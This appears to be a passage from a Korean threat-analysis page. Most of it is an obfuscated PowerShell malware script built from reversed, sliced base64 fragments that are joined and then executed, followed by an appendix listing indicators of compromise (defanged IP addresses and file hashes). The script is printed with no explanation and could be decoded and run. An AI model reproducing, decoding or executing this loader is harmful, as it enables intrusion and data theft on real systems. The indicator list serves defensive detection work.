$ejq6="mnlRnbvNkLxVmckoQDpcmchRCIsIyZyFULJBVQtg3biB3byRkIoQGZB5ycyVGZhVGSuEXZyRiCNkibvlGdhpXay9Ga0VXYkACLi42bpRXY6lmcvhGd1FkIoQGZB5ycyVGZhVGSuEXZyRiCNICVT9EUiASPgQ2boRXZt5SclJHJK0gCN4WZr9GdzNXZjNWYkAyKgICIyVmchVmQiASPg42bpRXY6lmcvhGd1FGJK0wJ9BSZzxWYmBiOiUGd11mIgwSZ1JHdgojIl1WYuVmcvRXdhJCIsICZkFmIgojIlR2btJCIsIyJgsCIoRXYQVGbpZEdldmchRFJgsCInICI6ICa0FGciAyenASPgcmchRiCNoQDpwmc1RCKlRXYlJ3Y6oTX0NXZ1FXZSJWZ35Cdl52Wg0DIxpqsu"[410..2]; $vwy7="gjJoIXZkFWZS1WYlJHdT5yTJBCdjVmai9WL3Vmbg0DIyNHJK0QKo0WYlJHdTV2cu9GczVmU0V2ZuMXZyRCI9ACdzNXZyRiCNkCKlNnbvB3clJFdldmLxVmckASPgMXZyRCIdV2cu9GczVmUiV2VwRHdo5Cdl52WK0gCNkCKlN3bsNmL0NXclJHJK0QKog2c1xmZuQ3cxVmckoQDpgSbhVmc0NFdzVWdxVmU0V2ZuEXZyRCI9ACdzFXZyRiCNsTKiADMzAiOlZXasFULwVWZLJCKkRWQuMnclRWYlhkLxVmckoQDlVnc0RCI9ASZ2lGbBBXZltkLxVmckoQDwADMwUDI9ACd19UZtlGVuEXZyRiCNcSbhVmc0NXL0VGdj92Lu9Wa0F2YpxGcwF2Jg0DIlBXeURnbmpsy"[410..2]; $cgn8="hoq9pQDpgSZz9Gbj5yclJHJK0QKoQmbF9GVkFWZS5iczRCI9ACdsV3clJHJK0QK0N3clJHsuv"[69..3]; $wyad0=$yac5+$ejq6+$vwy7+$cgn8; $eh26+=$wyad0 -join ''; $ydi1="ck0N1bU5Sb0RCI9ASZtlGVyV3YkoQD7c3bOpjOdVWbpRVZ0FGRu0WZ0NXeTtFI9ASb0RiCNoQDgkiCNgGdhBVZslmRlNmc192Uk01Zulmc0N3WK0QXpIiZigychlGbBtlCN0VKlVncURCI9ASZulGblBXaQ12byZUZ1xWYWBCLlVncURCI9ASey9GdhRmbh1EKgIXZ0VWbhJXYQtlCNkAKg0WYyFGcK0QXpgyZulGZulmQ0VGbk12QbpQD7BSZslmRkF2bsBXVg42bpR3YuVnZmnp"[277..2]; $qsu2="ybeAiOiUGZv1mIgwiInAyKggGdhBVZslmR0V2ZyFGVkAyKgciIgojIoRXYwJCI7dCI9AyZyFGJK0gIn9GbuICIrAiI0xWdzVmUf9lIgsCIwlGJgAyKgIyXfJCIrACIl1WaUJXdjRCIrAiclRGbvZUetRSPoRXYQVGbpZEdldmchRFJK0gZhVGbtACa0FGUlxWaGV2YyV3bTRCIoRXYQ1CdpxGcTBSPgUGbpZEd1BHd19GJK0gCNsTKiM3c60Wb6gESf9FZk9VTN9Ve5lXeigyZulmcikos"[281..3]; $xcg3="bika0VXYkACLi42bpRXY6lmcvhGd1FkIoQGZB5ycyVGZhVGakoQDi0VXn5WayR3UbxSXn5WayR3UbtVeyFmbvlGdjlGRuMWayVmbldkLz52bpR3YlxGbvNkLtVGdzl3UiACdjVmai9UL3VmTg0DIzJXZkFWZoRiCN4WZr9GVzNXZjNWQ49mQw9mcERCIrAiIgIXZyFWZCJCI9AibvlGdhpXay9Ga0VXYkoQDn0HIlNHbhZGI6ISZ0VXbiACLlVnc0BiOiUWbh5WZy9Gd1FmIgwiIkRWYimopqs"[284..3]; $uvw4="eigGdhBVZslmRlNmc192UkASZslmRulULgQ3cvBFIk9Ga0VWTtACZh9GbwV3LzVGbpZ2Ly8SbvNmLpBXY49mYw9mck5CduVGdu92Yv8iOzBHd0hGIpJXVtACZvhGdl1EdzVmUtU2avZnbJpQDpcSbhVmc0NXL0VGdj92Lu9Wa0F2YpxGcwF2JgwiIlBXeU1CduVGdu92QigCZkFkLzJXZkFWZoRiCNkyZyFGJgwiInJXQtkEUB1CevJGcvJHRigCZkFkLzJXZkFWZoRiCNkibvlGdhpXay9Glosx"[287..2]; $cio5="km=0nCNMnclRWYlhGJgMnclRWYlhULgopqsu"[30..2]; $vxad6=$ydi1+$qsu2+$xcg3+$uvw4+$cio5; $eh26+=$vxad6 -join ''; $waf7="aiycllmc05WZuMnclRGbvZGJg0DIzVGbpZEbsFGJJkgCNcmchRCI5R2bi1CIigTLmRXd9QXZzJXYoNGI742bzp2Lu9Wa0F2YpxGcwFmIgUGc5RFduVGdu92QtAycyVGZhVGakAycyVGZhVGStACdz9GUgQ2boRXZN1CIyVGZs9mZfR3cpx2LzVGbpZ2Ly8SbvNmLpBXY49mYw9mck5SawF2LvozcwRHdoBSayVVLgQ2boRXZNR3clJVLlt2b25WSg0DIzJXZkx2bGRSCJoQDJkgCNkiblt2b0RCIsIibvlGdhpXay9Ga0VXQigCZkFkLzJXZkFWZoRSCJoQDi0VXn5WayR3UbxSXn5WayR3UbtVeyFmbvlGdjlGRuMWayVmbldkLz52bpR3YlxGbvNkLtVGdzl3UiACdjVmai9UL3VmTg0DIzJXZkFWZoRSCJoQDK0wJ9VWdyRHI6IycyVGZs9mZfRWZ05Wdv12XlRWdsNmbpJCLlNHbhZGI6IycyVmYtVWbfRWZyFGaz9FdpNWasBHel91chh2XlRWdsNmbpJCLlNHbhZGI6ICZlRXZsVGZfVGZ1x2YulmIsU2csFmZgojIvZmbp9VYpRWZt9VZkVHbj5WaiwSZ1JHdgojIlZXazJXdjVmciwiIiAiOigGdhBnI7dCI9AyZyFGJJkgCNoQDuV2avR3czV2YjFGJgsCInAiclJXYlJ0Jg0DIuV2avRHJJkgCNsXeyRXCK0QKK0gblt2b0N3clN2YhRCIgACIK0AKtFmchBlCNsHIuVncf5GRg42bpR3YuVnZjkmo"[803..2]; $pqs8="yckF2bs52dvRkLjdHJJkgCNsjIxMHcuMzcw1GdcxVY0FGZtFmcn9mcwxFX6MmIg0DI6BXb0RSCJoQD7kyZyFGJgwiInJXQtkEUB1CevJGcvJHRigCdlNlLzJXZkFWZI5yY3RSCJoQD7kiIuV2avR3czV2YjFGJgIXZyFWZCJCIsIibvlGdhpXay9Ga0VXQigCdlNlLzJXZkFWZI5yY3RSCJoQDn0nInAyKggGdhBFZtNGJgsCInICI6ICa0FGciAyenASPgcmchRSCJoQDJkwO05WZpx2QiV2VuQXZO5SblR3c5NFI0NWZqJ2TtcXZO1zY3RSCJoQDK0QfJkgCNACI9lQCJoQD7sWYlJnYJkQCJoQDoRXYwRCI9ACa0FGUk12YkkQCJkgCNsHIp4mclRHdhBHJgU2apxWLggGdhBHJoAiZplQCJoQDiQHe05iKiAyKgQHJgsCIi8CZtN2LiASPg4mclRHdhBHJJkQCK0QCJkgCN0XCJkgCNszahVmcilQCJkgCNgGdhBHJg0DIoRXYQRWbjRSCJkQCK0QCJkQC7BSKuJXZ0RXYwRCIltWas1CIoRXYwRCKgYWaJkQCK0gI0hHduoiIgsCIyVGZs9mR51GJg0DIuJXZ0RXYwRSCJkgCNkXYsB3cpR2XoRXYw5SakASPggGdhBHJJkQCK0weJkgCNkycllmc05WZkAibpBSakgCIoNWYlJ3bmlQCK0gIiASPggGdhBFZtNGJJkgCNoQDzVWayRnbl5ycyVGZs9mRkASPgMXZpJHduVGJJkgCNkXYsB3cpR2XoRXYw5filq"[807..2]; $uze0="ygwRXdPRSCJoQDl1WYOdWbpRCIrAiIcFGdhRWbhJ3ZvJHccpzYiASPgUGbpZGd19GJJkgCNkQCK0wOzRCI9UWbh50ZtlGJJkgCNkCKn5WayR3UvRlLpgyY0VVZtlGVlxWaG9GVu0GdkASPgMHJJkgCNszdv5kO60VZtlGVlRXYE5SblR3c5N1Wg0DItRHJJkgCNACIgACIgACIgASfJkQCJoQD7cmbpJHdT1Cd19EI8ByXkkQCJkQCK0wegg2Y0F2Yg0XCJkQCK0wOn5WayR3UtQXdPBCfgEjJ+IDI6BXb0RCIm1CIzNXYwlnYgAXZtACbsVGazJXZ39GcJkQCJkgCNsHI5JHdg0DI0VHc0V3TkkQCK0QCJkQCJkgCNkQC7kyZyFGJgwiIUN1TQJCIsISZ0VGblR2LzVGbpZ2Ly8SbvNmLpBXY49mYw9mck5SawF2LvozcwRHdoJCKn5WayR3UkF2bsBXVuIzY3RSPsxWdORSCJoQD7kiIu92cq9ibvlGdhNWasBHchBiIgwiIlBXeU1CduVGdu92QigCZkFkLzJXZkFWZI5iMjdHJJkgCNsTKi4WZr9GVzNXZjNWQ49mQw9mcERCIyVmchVmQiACLi42bpRXY6lmcvhGd1FkIoQGZB5ycyVGZhVGSuIzY3RSCJoQDK0wO05WZpx2QiV2VuQXZO5SblR3c5NFI0NWZqJ2TtcXZO1jMjdHJJkgCNoQD7kiew1GdkACLiQWYvxmb39GZvMXZslmZvIzLt92YukGchh3biB3byRmL05WZ052bj9yL6MHc0RHaigSZslmRijkmo"[809..2]; $prs1="ae9pQD9lgCNoHctRHJg0WZ0lWLlZ3btVmcJkgCNUGbpZGd19GJg0WZ0lWLlZ3btVmcJkgCNsHajRXYjlgCN0XCK0gew1GdkASblRXatUmdv1WZylQCK0QZslmZ0V3bkASblRXatUmdv1WZylQCK0wOlxWamRXdvRCIlxWaGRWYvxGcVlQCK0gCNUGbpZGd19GJggGdhBVZslmRtASZslmRtQXdPBCfgQXdgkoty"[225..2]; $cipw2=$waf7+$pqs8+$uze0+$prs1; $eh26+=$cipw2 -join ''; $moq3="uxaFEevJEcvJHRkAyZvx2XkF2bsBXVegk"[29..3]; $oty4="qyDuV2avR1czV2Yjgijlm"[15..2]; $oqr5="zcbyREJg4Wdy9lbEpQfins"[17..2]; $wbh6="de2bUN3clN2YBh3bCB3giklm"[18..2]; $oqr7="ae=oQDK0gblthmq"[11..2]; $vagm8=$moq3+$oty4+$oqr5+$wbh6+$oqr7; $eh26+=$vagm8 -join ''; & $qwck99 $eh26; |
별첨.4 IOC
64.20.59[.]148 74.50.94[.]175 563a1cfd8788542cc19db91a52b87540e9ff2512f3e78c855ffa243b0b530a5d aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e B54FDD6E637315CB0A24A9B1AE5563CAB13A48D8E26FD4EC006A11BD004EFD4E 4893be06f75f228a5f35dde4749e6a445ecd667b71d11cb5c7bda00783c8fc65 E0A7BE1A203F4377F6C80CB76350405ED57F0DD28E95DB98AAE96351EB3570BF 71EE9A5F583328877ED57048BF4CE8C72107A0CBDB4D9CD95CD5DF95EB242D5B 47abd1682a88f7aadd3fe57583a7edba9cae2d7cf6632df19fbe687544dac632 694af547d321771e69c48cf3c04411fc1de1b5d4a465815c54fff44d3d8da790 9af27198deefa87bb1d3868abb295f0136c18e74b5231772351c359ccd740323 5967513540ad610ddbbc124f2437cf58dd10341da7d8d016932e74c3241dfa2a |
Comments